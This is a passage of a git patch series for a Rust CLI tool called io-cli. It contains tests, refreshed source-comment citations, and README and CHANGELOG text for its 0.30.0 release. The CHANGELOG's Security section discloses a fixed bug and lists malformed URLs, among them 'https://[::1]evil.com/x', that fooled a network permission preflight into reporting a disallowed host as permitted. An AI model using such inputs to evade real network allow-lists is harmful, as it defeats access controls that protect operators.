unlink +/// — so a guard that lived anywhere else would let this delete somebody's bundle +/// file and the assertion below would fail. +#[test] +fn f3_a_bundles_skill_is_not_ours_to_remove() { + let (dir, _home) = home(); + let bundle = dir.path().join("bundles").join("pack"); + let theirs = bundle.join("skills").join("packed.md"); + write(&theirs, &skill("packed", "a bundle's own")); + let plug = ("pack".to_string(), bundle.clone()); + + let refusal = skillview::remove(&theirs, std::slice::from_ref(&plug)) + .expect_err("a bundle's file is not io-cli's to delete"); + assert!( + refusal.contains("pack"), + "the refusal names the bundle: {refusal}", + ); + assert!(theirs.exists(), "and the file is still there"); +} + +/// **F2, the confirmation.** The driver puts `store::LEAVE_IT` at row 0 and +/// decides with `store::acts`, asserted **by index**. +/// +/// Nothing under `tests/` links `src/main.rs`, so this reads it as text — the +/// instrument `tests/context_share.rs` and `tests/contract.rs` already use for +/// exactly this class of claim. +#[test] +fn f2_the_removal_confirmation_declines_at_row_zero() { + let text = std::fs::read_to_string("src/main.rs").expect("the driver"); + let flat = text.split_whitespace().collect::>().join(" "); + + assert!( + flat.contains("Pick::SkillRemove { name, path } => { if io_cli::store::acts(index)"), + "the removal is gated on `store::acts`, which is what makes row 0 decline", + ); + assert!( + flat.contains( + "Picker::new( format!(\"Remove {name}?\"), vec![ \ + Row::new(io_cli::store::LEAVE_IT.to_string())," + ), + "and `LEAVE_IT` is the first row of that picker, by position rather than \ + by label", + ); +} From 29f275537408e61e32af723f3a43c84b8a8ab851 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 00:35:06 +0530 Subject: [PATCH 11/17] =?UTF-8?q?chore(develop):=20Sweep=20every=20module?= =?UTF-8?q?=20that=20now=20states=20a=20falsehood=20about=20th=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T09 --- src/commands.rs | 5 +-- src/configure.rs | 5 +-- src/contract.rs | 8 +++-- src/exec.rs | 12 ++++++- src/home.rs | 3 +- src/import.rs | 2 +- src/manage.rs | 10 +++--- src/marketplace.rs | 7 ++-- src/memory.rs | 6 ++-- src/reload.rs | 2 +- src/skillview.rs | 28 ++++++++-------- tests/docs.rs | 81 ++++++++++++++++++++++++++++++++++++++++++++++ 12 files changed, 134 insertions(+), 35 deletions(-) diff --git a/src/commands.rs b/src/commands.rs index f50b8e2..25798a0 100644 --- a/src/commands.rs +++ b/src/commands.rs @@ -1398,7 +1398,7 @@ pub const READ_MARK: &str = "+"; /// The case this page exists for. A file that is there and is not read looks, /// from everywhere else in this product, exactly like one that is read: nothing /// warns, and a missing or skipped instruction file is passed over in silence -/// (`io-harness-0.69.0/src/config.rs:1886`, `:1892`). +/// (`read_instructions`, `io-harness-0.71.0/src/config.rs:2111`). pub const UNREAD_MARK: &str = "-"; /// What one row of the memory page stands for. @@ -1614,7 +1614,8 @@ pub fn memory_notes(view: &crate::recall::View, glyphs: &crate::glyphs::Glyphs) /// writing: a file that exists and is not read. It names what would make it /// read rather than only reporting the fact, because `[instructions] files` /// **replaces** the default list rather than adding to it -/// (`io-harness-0.69.0/src/config.rs:1879-1882`) and there is nothing on any +/// (`DEFAULT_INSTRUCTIONS`, `io-harness-0.71.0/src/config.rs:159`, read at +/// `:2120`) and there is nothing on any /// other surface to pull on. pub fn instruction_said( file: &crate::memory::Instruction, diff --git a/src/configure.rs b/src/configure.rs index 67c21af..73a6247 100644 --- a/src/configure.rs +++ b/src/configure.rs @@ -646,7 +646,7 @@ pub fn destination(config: &Config, key: &str) -> (Scope, bool) { /// Whether writing `value` to `key` would be refused in a **project-scoped** file. /// /// io-harness refuses five (key, value) pairs in a committed `io.toml` -/// (`PROJECT_WIDENING`, `io-harness-0.69.0/src/config.rs:1759-1769`): the two acts +/// (`PROJECT_WIDENING`, `io-harness-0.71.0/src/config.rs:1998-2008`): the two acts /// defaulted to `allow`, egress re-opened inside the sandbox, the portable floor /// switched off, and the widest exec mode. The narrowing value of each stays legal, /// which is what the scope is for. @@ -715,7 +715,8 @@ fn is_credential(path: &str) -> bool { /// /// **There are three substitution forms and not two.** io-harness resolves /// `${env:...}`, `${file:...}` **and** `${cmd:...}` -/// (`io-harness-0.69.0/src/config.rs:1909`); this comment claimed two until +/// (`substitute`, `io-harness-0.71.0/src/config.rs:2150`, the `cmd` arm at +/// `:2241`); this comment claimed two until /// 0.21.0, and the sentence it claimed it in was the argument for which forms /// pass through here. The third is deliberately not one of them: a `${env:}` or /// `${file:}` reference is a *name*, and the name is the whole of what an diff --git a/src/contract.rs b/src/contract.rs index 924df19..509aaee 100644 --- a/src/contract.rs +++ b/src/contract.rs @@ -520,7 +520,7 @@ pub fn skills_dir(config: &Config, capabilities: &Capabilities, root: PathBuf) - /// **The existence test is not caution, it is the whole of what makes this /// default safe.** `Skills::discover` does not return early on a directory that /// is not there — it returns `Error::Config("skills directory … does not exist")` -/// (`io-harness-0.66.0/src/skills.rs`), and `TaskContract::discover_skills` +/// (`io-harness-0.71.0/src/skills.rs`), and `TaskContract::discover_skills` /// propagates it from `run.rs` at run start, before the first completion. A /// contract that named this directory unconditionally would therefore fail every /// turn of every operator who has never made one, which is almost all of them. @@ -536,8 +536,10 @@ fn default_skills() -> Option { /// /// **One expansion for two keys, applied after both have had their say.** /// io-harness substitutes `${env:…}` and `${file:…}` and nothing else -/// (`io-harness-0.66.0/src/config.rs:1965` — there is no tilde branch anywhere in -/// it), so a `~` an operator wrote in `[run] skills` or `[app.io-cli] skills` +/// (`substitute`, `io-harness-0.71.0/src/config.rs:2150` — there is no tilde +/// branch anywhere in it, and 0.71.0 narrowed the forms rather than widening +/// them: a plugin manifest now refuses all three), so a `~` an operator wrote in +/// `[run] skills` or `[app.io-cli] skills` /// reaches `Skills::discover` as a directory whose name is one character long. /// Expanding at each key instead would be two places to keep true and two places /// for the next key to be forgotten in. diff --git a/src/exec.rs b/src/exec.rs index cf80f16..a3cd097 100644 --- a/src/exec.rs +++ b/src/exec.rs @@ -1161,8 +1161,18 @@ impl WithProvider for Resuming { let contract = crate::contract::configured(self.goal, self.root.clone(), &self.config); // `None` on every arm: a containment is a fleet's shared budget, this // subcommand takes no flag that expresses one, and `crate::resume::recover` - // refuses a contained run outright because io-harness 0.69 publishes no + // refuses a contained run outright because io-harness publishes no // tree-aware recovery entry point to keep those limits with. + // + // **Still true at 0.71.0, and the shape of the gap is worth naming.** Every + // other pause kind has both forms — `resume_tree_with_answer` beside + // `resume_with_answer`, `resume_tree_with_plan_decision` beside its flat + // one, `resume_tree_with_decision` beside `resume_with_decision` + // (`io-harness-0.71.0/src/run.rs:1769`, `:2088`, `:3002`). Recovery has + // `resume_with_recovery_observed` (`:2550`) and nothing tree-aware, so it + // is the one pause a contained run cannot be resumed from. Not an oversight + // this crate can route around: a fleet's shared ceiling lives in the tree + // entry points, and resuming through the flat one would drop it. let resumed = match self.decision { Decision::Answer { question_id, diff --git a/src/home.rs b/src/home.rs index 8dfbbcf..ba5e631 100644 --- a/src/home.rs +++ b/src/home.rs @@ -9,7 +9,8 @@ //! This module names one. It is deliberately **not** a second configuration //! system: io-harness resolves `$IO_CONFIG`, then `$IO_CONFIG_HOME`, then the //! platform's own place, reading the environment at call time -//! (`io-harness-0.66.0/src/config.rs:1667`), and there is no caller-supplied home +//! (`io-harness-0.71.0/src/config.rs:1891`, the Windows branch at `:1910`), and +//! there is no caller-supplied home //! anywhere in `Config`'s public surface — no `discover_in`, no builder. So the //! one lever is `$IO_CONFIG_HOME`, set once, before the first //! [`io_harness::Config::discover`]. Everything else here follows from that: diff --git a/src/import.rs b/src/import.rs index bccaa41..4cb1446 100644 --- a/src/import.rs +++ b/src/import.rs @@ -30,7 +30,7 @@ //! decision="allow")` and Claude's `permissions.ask` says `Bash(cargo yank *)` — //! both of which match a *command line*. io-harness's `Act::Exec` matches a //! **binary name and nothing else**; it has no argument matching at all -//! (`io-harness-0.69.0/src/policy.rs:62`). So the nearest thing to a faithful +//! (`Act::Exec`, `io-harness-0.71.0/src/policy.rs:63`). So the nearest thing to a faithful //! import of `bun install` is a blanket allow on `bun`, which is a wider //! permission than the operator ever granted, written by a tool they were //! trusting to be careful. A boundary half-imported is worse than one left alone, diff --git a/src/manage.rs b/src/manage.rs index c8bcada..50b9a94 100644 --- a/src/manage.rs +++ b/src/manage.rs @@ -1219,13 +1219,15 @@ fn mcp_add(args: &Args) -> Result { // Built by hand rather than through `McpServer::stdio(…).with_args(…)`, // because `env` and `headers` have no builder at all and `with_args` is a - // silent no-op on an HTTP server (`io-harness-0.69.0/src/mcp.rs:267`) — a - // constructor chain here would drop the arguments of half the servers it was - // handed and say nothing. + // silent no-op on an HTTP server (`io-harness-0.71.0/src/mcp.rs:439-447`: the + // body writes only into the `Stdio` arm) — a constructor chain here would drop + // the arguments of half the servers it was handed and say nothing. // Asked of the harness rather than written as literals, the way `servers::add` // asks it: the defaults are io-harness's, and a value copied into io-cli is one // that goes stale in silence. `enabled` is io-harness 0.70.0's; an added server - // is on, and the flag has no keystroke here yet — see the known limitations. + // is on, and **since 0.30.0 it has both a keystroke and an argument form** — + // `/mcp`'s toggle row and `io mcp enable|disable `, which share + // `servers::switch`. let defaults = McpServer::stdio("", ""); let mut server = McpServer { id, diff --git a/src/marketplace.rs b/src/marketplace.rs index 072b612..d776f36 100644 --- a/src/marketplace.rs +++ b/src/marketplace.rs @@ -320,9 +320,10 @@ fn declared(text: &str, key: &str) -> Option { /// useless when it does. Two hundred characters is longer than any terminal is wide /// and shorter than anything that can bury the row above it. /// -/// **A hook's command is deliberately not bounded by this** — see [`hooks`]: it is -/// argv an operator is consenting to, and a shortened argv is the one thing that -/// surface must never show. +/// **A hook's command is deliberately not bounded by this** — see +/// [`crate::pluginview::detail`], which draws the hook rows: it is argv an +/// operator is consenting to, and a shortened argv is the one thing that surface +/// must never show. const LONGEST: usize = 200; /// `value` cut to [`LONGEST`] characters. diff --git a/src/memory.rs b/src/memory.rs index 2ba8ec7..b58e89f 100644 --- a/src/memory.rs +++ b/src/memory.rs @@ -27,8 +27,8 @@ //! //! Worth knowing before a surface promises otherwise. `read_instructions` joins //! each name in `[instructions] files` to the **discovery root** -//! (`io-harness-0.69.0/src/config.rs:1888`), and the default list is exactly -//! `["AGENTS.md"]` (`config.rs:158`). So `AGENTS.md` is read by every project +//! (`io-harness-0.71.0/src/config.rs:2111`), and the default list is exactly +//! `["AGENTS.md"]` (`DEFAULT_INSTRUCTIONS`, `config.rs:159`). So `AGENTS.md` is read by every project //! with no configuration at all; `AGENTS.local.md` is read only where a file //! names it; and `IO.md` is not reachable by a bare name at all, because a //! relative name is resolved against the workspace and the home is not the @@ -464,7 +464,7 @@ fn bullet(line: &str) -> Option { /// The order the three files are named in, and it is the order they reach the /// model in: `read_instructions` pushes one constraint per name in list order -/// (`io-harness-0.69.0/src/config.rs:1884-1899`). +/// (`read_instructions`, `io-harness-0.71.0/src/config.rs:2111`). /// /// Project, then local, then user — widest audience first, so the operator's own /// standing note is the last thing said. It also matches the order the three diff --git a/src/reload.rs b/src/reload.rs index ba07b1f..4f22a20 100644 --- a/src/reload.rs +++ b/src/reload.rs @@ -2,7 +2,7 @@ //! //! **io-harness takes the instruction files as a snapshot and never takes //! another.** `read_instructions` runs inside `Config::discover` -//! (`io-harness-0.69.0/src/config.rs:1872-1898`), composes each named file into a +//! (`io-harness-0.71.0/src/config.rs:2111`), composes each named file into a //! constraint, and stores the result in a private `Config.instructions` field. //! There is no `Config::reload`, and `Config::with_profile` clones the field //! rather than going back to disk — so a `Config` is exactly as old as the call diff --git a/src/skillview.rs b/src/skillview.rs index 0efacc2..5a723c2 100644 --- a/src/skillview.rs +++ b/src/skillview.rs @@ -708,20 +708,6 @@ pub fn enable(path: &Path, bundles: &[(String, PathBuf)]) -> Result/SKILL.md` as well as reading the loose files in it, so a -/// bundle skill's path is not always a direct child of the declared directory. -/// -/// Both sides are canonicalised before they are compared, because the two come -/// from different places: a path off [`view`] came through `Skills::discover`, -/// which canonicalises, and a declared directory is `Plugin::skills_dir` — the -/// bundle root joined to whatever the manifest wrote, canonical or not. On macOS -/// a temporary directory is a symlink, which is enough on its own to make an -/// uncanonicalised comparison answer "not a bundle" about a bundle. A path that -/// will not canonicalise is compared as it stands: the file being gone is -/// [`relocate`]'s error to report, not a reason to relax this. /// Copy the file at `source` into this home's skills directory. Answers with /// where it now is. /// @@ -825,6 +811,20 @@ pub fn remove(path: &Path, bundles: &[(String, PathBuf)]) -> Result/SKILL.md` as well as reading the loose files in it, so a +/// bundle skill's path is not always a direct child of the declared directory. +/// +/// Both sides are canonicalised before they are compared, because the two come +/// from different places: a path off [`view`] came through `Skills::discover`, +/// which canonicalises, and a declared directory is `Plugin::skills_dir` — the +/// bundle root joined to whatever the manifest wrote, canonical or not. On macOS +/// a temporary directory is a symlink, which is enough on its own to make an +/// uncanonicalised comparison answer "not a bundle" about a bundle. A path that +/// will not canonicalise is compared as it stands: the file being gone is +/// [`relocate`]'s error to report, not a reason to relax this. fn refuse_bundle(path: &Path, bundles: &[(String, PathBuf)]) -> Option { let resolved = std::fs::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()); let (id, dir) = bundles.iter().find(|(_, dir)| { diff --git a/tests/docs.rs b/tests/docs.rs index 988e5b3..be6630f 100644 --- a/tests/docs.rs +++ b/tests/docs.rs @@ -1056,3 +1056,84 @@ fn the_readme_says_which_pause_cannot_be_resumed() { "the README should offer /fork, which is what an ended turn leaves you", ); } + +// --------------------------------------------------------------------------- +// 0.30.0 F19 — every claim a module makes about io-harness is true of the +// io-harness that is pinned. +// --------------------------------------------------------------------------- + +/// The io-harness version `Cargo.lock` actually pins. +/// +/// Read from the lock and never from `Cargo.toml`, for the reason the release +/// process records: the manifest states a *requirement* (`"0.71"`) and the lock +/// states the *resolution* (`0.71.0`), and a source comment citing a line number +/// is citing the file that was resolved. +fn pinned_harness() -> String { + let lock = read("Cargo.lock"); + let at = lock + .find("name = \"io-harness\"") + .expect("io-harness is in the lock file"); + let rest = &lock[at..]; + let line = rest + .lines() + .find(|line| line.starts_with("version = ")) + .expect("the pinned version follows the name"); + line.trim_start_matches("version = ") + .trim_matches('"') + .to_string() +} + +/// **No source file cites a line inside an io-harness this crate does not pin.** +/// +/// This is the mechanical half of the doc-truth sweep, and it exists because the +/// expensive half is not mechanical at all. Nine citations of the form +/// `io-harness-0.69.0/src/config.rs:1888` were still in the tree at 0.30.0, two +/// pins after that version — each one a line number that had moved, in a file +/// whose contents had changed, presented to the next reader as a fact they could +/// go and check. +/// +/// A citation into the pinned version can still be *wrong*; a citation into a +/// version that is not pinned cannot even be checked. This gate catches the second +/// kind, which is the kind that accumulates silently. +/// +/// Sabotage: put back any one of the nine. It names the file and the version. +#[test] +fn f19_no_source_cites_an_io_harness_this_crate_does_not_pin() { + let pinned = pinned_harness(); + let wanted = format!("io-harness-{pinned}/"); + let mut stale: Vec = Vec::new(); + + let dir = repo().join("src"); + for entry in std::fs::read_dir(&dir).expect("src/") { + let path = entry.expect("a directory entry").path(); + if path.extension().and_then(|e| e.to_str()) != Some("rs") { + continue; + } + let text = std::fs::read_to_string(&path).expect("a source file"); + for (number, line) in text.lines().enumerate() { + // Only the `io-harness-/` form, which is a path into a + // vendored source tree. A bare "io-harness 0.70.0" is history — a + // sentence about when something changed — and is not a citation. + let Some(at) = line.find("io-harness-") else { + continue; + }; + let cited = &line[at..]; + if !cited.starts_with(&wanted) { + stale.push(format!( + "{}:{}: {}", + path.file_name().unwrap_or_default().to_string_lossy(), + number + 1, + line.trim(), + )); + } + } + } + + assert!( + stale.is_empty(), + "these cite a line inside an io-harness that is not pinned (the pin is \ + {pinned}), so the line numbers are unverifiable and the surrounding \ + claims are unchecked:\n{}", + stale.join("\n"), + ); +} From 883ae058bc071f92c0fb95ec7139c0555c79d1af Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sun, 30 Aug 2026 00:41:22 +0530 Subject: [PATCH 12/17] =?UTF-8?q?chore(develop):=20README,=20CHANGELOG=20a?= =?UTF-8?q?nd=20`config.example.toml`=20for=20every=20s=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T10 --- CHANGELOG.md | 117 +++++++++++++++++++++++++++++++++++++++ README.md | 94 ++++++++++++++++++++++++------- docs/config.example.toml | 21 +++++++ src/commands.rs | 8 +-- 4 files changed, 217 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 080aeeb..5e13ac5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,123 @@ All notable changes to this project are documented here. The format follows ## [Unreleased] +## [0.30.0] - 2026-08-30 + +The rest of the verb matrix closes: after this release there is nothing io +manages that you have to open a file to change. + +### Security + +**`io mcp add --url …` could report a URL as permitted that the runtime refuses.** +The preflight carried io-cli's own copy of io-harness's URL normaliser, because +that function was not public. The copy failed open on five shapes — +`https://user@/x`, `https://[]/x`, `https://[::1]:/x`, `https://[/x`, and worst +`https://[::1]evil.com/x`, where the bracket branch took `[::1]` as the host, +dropped `evil.com`, and reported *permitted, `[::1]:443`* for a URL that connects +to `evil.com`. A policy allowing loopback would have looked like it covered it. +io-harness 0.71.0 made `net::target` public and fixed all five; io-cli now calls +it and the copy is deleted. Affects 0.28.0 and 0.29.0. Nothing was ever dialled by +io-cli itself — the report was wrong, not the connection — but a permission check +must only ever fail closed. + +**`{:?}` on a configuration no longer prints your keys.** io-harness up to and +including 0.70.0 printed resolved secrets through a derived `Debug` on `Config`, +`File` and `ProviderSpec`; 0.71.0 replaces the derive on ten types with +hand-written redacting ones. io-cli never formatted those types into a message, so +nothing was leaked from here, but every io-cli before this one shipped against a +version that could. + +### Added + +- **`/skills add ` and `/skills remove`**, with `io skill add|list|remove` + through the same parse. Installing **copies** — the file you named stays yours — + and records nothing, so it lists as yours. A destination that exists is refused + rather than overwritten, and a file whose `name:` is already claimed is refused + even when its filename is free, because two skills answering to one name make + every turn of the next session fail before its first completion. Until now the + only thing that had ever written a skill file was `/import`. +- **`/memory` edits and forgets an instruction note**, by line. Both splice the + file, so your indent, your `*`, a `\r\n` and a last line with no newline all + survive. A note changed underneath you is refused rather than overwritten. A + note that carries a continuation body — which is how `/import` brings another + tool's whole file across — says on its own row how many lines forgetting it will + leave behind. +- **A forgotten agent memory can be put back.** `/memory`'s forget has returned a + restore point since 0.29.0 and printed it in a sentence; nothing could spend it. + Now a confirmation offers it. +- **`/memory` shows what the run recorded** — evictions, pin refusals and recalls. + These emit no event of their own, so this page is their only witness, and it had + always been asked for the empty case. +- **`/profile create|remove|clear`.** Creating refuses a name already taken; + removing takes `[profile.x]` **and every sub-table under it**, so + `[profile.x.run]` cannot be orphaned; clearing goes back to no profile. The list + also now sees profiles declared in any scope rather than only the last file — + switching to one always worked, so the list was wrong rather than narrow. +- **`io mcp enable|disable ` and a toggle row on `/mcp`.** A server can be + switched off without being removed, which is a state io-harness has honoured and + io-cli could only ever read. +- **A switch-off row on `/plugin`**, beside the removal that was previously the + only way to stop a bundle loading. +- **`/mcp probe ` and `io mcp probe `.** Starts a configured server the way + a run would — same policy check, so a refused server is refused here and names + the rule and layer — completes the handshake, lists the tools it offers, and + shuts it down. Disabled, refused, unreachable, timed out and answering are five + sentences, not one. + +### Changed + +- **io-harness `0.70` → `0.71.0`**, which closes six issues this project filed: + #218 (`Effect::ALL`, `ExecMode::ALL`, `Effect::as_str`), #219 (the named step and + retry defaults), #220 (`PriceTable::models`), #221 (`net::target` public and + fixed), #223 (`Plugin::hooks`) and #224 (`Plugins::inspect`). Each closure + retired a copy io-cli had shipped around the gap, so this release deletes about + as much as it adds. +- **A marketplace install no longer writes before it discloses.** 0.29.0 had to + declare a bundle `enabled = false` to make io-harness read it at all; + `Plugins::inspect` reads and fully validates a directory with nothing on disk + naming it. A bundle io-harness would refuse now leaves your configuration file + byte for byte unchanged, and declining leaves nothing behind. +- **Hook rows come from io-harness.** `Plugin::hooks()` replaces io-cli's own + reader of somebody else's manifest, and it sees two shapes that reader could + not — an inline `hook = [{…}]` array and a `[[hook]]` header with a trailing + comment. +- `io plugin add ` from a shell now **installs**, printing the full + disclosure to stderr first. Naming a bundle on that door is the consent; there is + nobody there to ask, and a `--yes` would be a second reading of the word. + +### Fixed + +- **The model picker was empty for a whole legal price-table shape.** `/config` on + a model key scraped the files for a literal `[prices.models]` header, so a table + written as `[prices.models."gpt-4.1"]` — which io-cli itself names as a supported + shape — offered no models at all. It now asks `PriceTable` what it prices. +- **Opening the model picker no longer re-runs your credential commands.** The + fix above re-read the configuration, and reading it resolves `${cmd:}` — which + for a key fetched from a keychain is a Touch-ID prompt raised to draw a menu. + Caught before release. +- **A `[[mcp]]` entry's `enabled` written through `/config` was quoted**, producing + `enabled = "false"`, which io-harness refuses. It failed closed, so nothing was + lost, but the surface offered a key it could not write. +- Twelve source comments cited line numbers inside io-harness versions this project + no longer pins — three of them five pins old. All re-verified against 0.71.0, and + a test now fails on any citation into a version `Cargo.lock` does not name. +- A broken intra-doc link shipped in 0.29.0 (`preflight.rs` linked an item that + release deleted), which means 0.29.0's own record of a clean documentation gate + was wrong. + +### Migration + +An `enabled` key in your configuration cannot be read by an io-cli built against +io-harness 0.69.0, **and the two halves fail in opposite directions**: in a +`[[plugin]]` entry that binary refuses the whole file, loudly; in an `[[mcp]]` +entry it *ignores the key and starts the server anyway*, silently. io-cli says +which, at the moment it writes either. + +A plugin manifest may no longer carry a `${env:}`, `${file:}` or `${cmd:}` +substitution, in any scope — io-harness 0.71.0 refuses all three, where only +`${cmd:}` was refused before. Write the value out literally. A bundle is a third +party's directory, and there is deliberately no opt-out. + ## [0.29.0] - 2026-08-29 A plugin can come from somewhere other than a directory you already had — and you diff --git a/README.md b/README.md index 9d2e392..d6d9d49 100644 --- a/README.md +++ b/README.md @@ -336,6 +336,22 @@ same session — io re-reads the configuration for every turn, so an edit you ma in your own editor counts too, and a file that stops parsing leaves the last good one in force rather than ending the session. +**A line can be changed and taken back, from 0.30.0.** `/memory`, choose an +instruction file, and it lists the bullets in it with their line numbers. Picking +one puts its text in the prompt: edit it there and choose *replace it with what is +in the prompt*, or choose *forget it*. Both splice the file — the indent you used, +the `*` you wrote where io writes `-`, a `\r\n` from a Windows checkout and a last +line with no newline after it all survive, because a rewrite assembled from parsed +lines normalises all four in silence. A note that changed underneath you since the +list was drawn is refused rather than overwritten. + +One case is called out on the row itself: `/import` brings another tool's whole +instructions file across as a *single* bullet with the document beneath it, and +markdown counts all of that as one list item. Forgetting that note removes the +bullet and leaves the document, so the row says how many lines it will leave +behind. Before 0.30.0, `/remember` could add a line and nothing anywhere could +change or remove one. + ### Answered without opening a run **A prompt that is only a question is answered in one completion**, with no steps, @@ -531,7 +547,7 @@ above a row that ranked there for reasons having nothing to do with it. | `/clear` | start a new conversation; this one stays in /resume | | `/resume` | reopen an earlier session and answer whatever its last run is waiting on | | `/fork` | continue from an earlier turn of this conversation | -| `/profile` | switch to a named profile from the configuration, for this session | +| `/profile` | switch to a named profile for this session, or create, remove and clear one | | `/setup` | run the first-run wizard again | | `/exit` | leave | @@ -560,7 +576,7 @@ above a row that ranked there for reasons having nothing to do with it. | `/context` | what is in the model's window, read from the request that carried the turn | | `/expand` | commit the last step's full detail into the scrollback | | `/fleet` | show the children this turn has spawned | -| `/skills` | every skill, shipped or yours: what it is for, whether it is on, and its file | +| `/skills` | every skill, shipped or yours: what it is for, whether it is on, and its file; add and remove one | | `/cost` | commit what this run, this session and this install have spent | | `/stats` | commit how the runs have gone: outcomes, first-try, gates, latency | | `/store` | commit what the run store holds; `rm `, `sweep ` and `compact` change it | @@ -573,8 +589,8 @@ above a row that ranked there for reasons having nothing to do with it. | `/config` | every setting, the value in force and the file that decided it | | `/theme` | change the theme for this session | | `/remember` | remember a line of guidance, in the scope you choose | -| `/memory` | what io remembers: the instruction files, and the agent's own notes | -| `/mcp` | the MCP servers configured, and what this session has seen of each | +| `/memory` | what io remembers: the instruction files and the agent's own notes, each editable | +| `/mcp` | the MCP servers configured, what this session has seen of each, and whether one answers | | `/provider` | the providers configured, in the order a turn tries them | | `/plugin` | the capability bundles declared, the marketplaces they come from, and what failed | | `/gates` | the check a turn must pass before it is done: a command, a file, or a rubric | @@ -590,10 +606,20 @@ the other half now. No row was added above because none was wanted: a verb belon to the surface that already owns the list, and a second row for one screen reads as a second screen — the rule `/usage` follows below. +**0.30.0 closes the rest of it, and adds no command either.** A skill can be put +there and taken away (`/skills add`, `/skills remove`, `io skill …`); an +instruction note can be changed and forgotten (`/memory`); a profile can be +created, removed and cleared (`/profile create|remove|clear`); an MCP server and a +capability bundle can each be switched **off without being removed**, which until +now was the one state you could see and not write; and a configured server can be +started on request to report whether it actually answers. After this release there +is nothing io manages that you have to open a file to change. + Which of them is typed and which is a row is not arbitrary. The verbs `add`, -`edit`, `remove` and `get` on `/mcp`, `add` and `remove` on `/plugin`, and `set` -and `unset` on `/config` are read by the same parse `io mcp`, `io plugin` and -`io config` are, so a line typed in the composer and the same line typed at a +`edit`, `remove`, `get`, `enable`, `disable` and `probe` on `/mcp`, `add` and +`remove` on `/plugin`, `add`, `list` and `remove` on `/skills`, and `set` and +`unset` on `/config` are read by the same parse `io mcp`, `io plugin`, `io skill` +and `io config` are, so a line typed in the composer and the same line typed at a shell produce identical bytes rather than two readings that agree today. A bare `/mcp` or `/plugin` still opens its panel, because a panel is a better answer in a session than a text dump is, and `/config ` @@ -939,12 +965,26 @@ it — the same things you would do to any other markdown file in a directory yo own. There is no registry, no index and no remote source; the five are carried in the binary and written out the first time io has a home to put them in. -**Delete one and it stays deleted.** `rm ~/.io-cli/skills/io-mcp.md` is the way -to be rid of a shipped skill for good: io remembers that it wrote that name, so -it does not put the file back on the next start. A skill added in a *later* -version has no such record, so upgrading still brings you the new ones. If you -only want one out of the way for now, turn it off instead — that is reversible -and `/skills` does it for you. +**Delete one and it stays deleted.** `/skills`, choose it, *remove it for good* +— or `io skill remove io-mcp` from a shell — is the way to be rid of a shipped +skill: io remembers that it wrote that name, so it does not put the file back on +the next start. `rm ~/.io-cli/skills/io-mcp.md` does exactly the same thing, and +always has. A skill added in a *later* version has no such record, so upgrading +still brings you the new ones. If you only want one out of the way for now, turn +it off instead — that is reversible and `/skills` does it for you. + +**And you can put one there.** `/skills add ./my-skill.md`, or `io skill add +./my-skill.md`, copies a skill file of your own into `~/.io-cli/skills` and +lists it as yours from the next turn. It is a **copy**: the file you named stays +where it is and stays yours. Two things are refused rather than done quietly — a +destination that already exists, because a skill is prose somebody wrote and +there is no undo, and a file whose `name:` is already claimed by another skill, +because two names resolving to one skill is the fatal case described below. A +bundle's skill is not yours to add or remove, and says so. + +Until 0.30.0 the only thing that had ever written into that directory was +`/import`, following a tool io happened to detect. If you had written a skill +yourself, there was no door. **Each of them ends in a change you see before it lands.** A skill instructs the model in what io can already do and which surface does it, so what comes back is @@ -1932,12 +1972,21 @@ anything. ### Managing the configuration without a session -`io mcp`, `io plugin` and `io config` are new in 0.28.0 and do from a shell what -`/mcp`, `/plugin` and `/config` do inside a session. They open no session, start -no run and touch no store — a configuration listing that had to build a task -contract before it could print is a listing nobody can put in a script — and they -are answered before the terminal check, so `io config list` works in CI where an -interactive session is refused for having no terminal. +`io mcp`, `io plugin` and `io config` are new in 0.28.0, `io skill` joins them in +0.30.0, and they do from a shell what `/mcp`, `/plugin`, `/config` and `/skills` +do inside a session. They open no session, start no run and touch no store — a +configuration listing that had to build a task contract before it could print is a +listing nobody can put in a script — and they are answered before the terminal +check, so `io config list` works in CI where an interactive session is refused for +having no terminal. + +`io mcp probe` is the exception to "start no run", and deliberately: it is the one +verb here that finds out rather than reports. It starts the server the way a run +would — under the same policy check, so a server your policy refuses is refused +here too, naming the rule and the layer — completes the MCP handshake, asks what +tools it offers, and shuts it down again. Disabled, refused, unreachable, timed +out and answering are five different sentences rather than one, because the thing +you want to know when a server is not working is *which* of those it is. ```sh io mcp add semlith -- semlith --store /path/to/.semlith mcp @@ -1946,8 +1995,15 @@ io mcp add --transport http linear-server https://mcp.linear.app/mcp io mcp list io mcp get semlith io mcp edit semlith --timeout-secs 30 +io mcp disable semlith # still configured, not started +io mcp enable semlith +io mcp probe semlith # start it and ask what it offers io mcp remove semlith +io skill add ./my-skill.md +io skill list +io skill remove my-skill + io plugin add ./bundles/rust-review io plugin add ultraship # or a name from a marketplace io plugin install ultraship # the same verb diff --git a/docs/config.example.toml b/docs/config.example.toml index f6f8cd4..26b412f 100644 --- a/docs/config.example.toml +++ b/docs/config.example.toml @@ -239,6 +239,27 @@ net = "deny" # id = "issues" # transport = "http" # url = "https://mcp.example.com/v1" +# +# `enabled` (io-harness 0.70.0, absent means true) declares a server WITHOUT +# starting it. io-harness skips it at connect, so no process is spawned and no +# socket is dialled, and every other key of the entry is kept — which is what +# makes this different from removing it. +# +# WRITING THIS KEY COSTS AN OLDER BINARY SOMETHING, AND IT IS THE QUIET KIND. +# An io-cli built against io-harness 0.69.0 does not refuse an `[[mcp]]` entry +# carrying `enabled` — it IGNORES the key and starts the server anyway. The +# `[[plugin]]` version of the same key fails the other way, refusing the whole +# file; that one announces itself and this one does not. +# +# From 0.30.0 `/mcp` has a toggle row and `io mcp enable|disable ` writes the +# same bytes, so this is not a key you have to type. `io mcp probe ` starts a +# configured server on request and reports what it offers. +# +# [[mcp]] +# id = "staging" +# transport = "stdio" +# command = "staging-mcp" +# enabled = false # --- The agent roster (0.25.0) ---------------------------------------------- # diff --git a/src/commands.rs b/src/commands.rs index 25798a0..bc6ff07 100644 --- a/src/commands.rs +++ 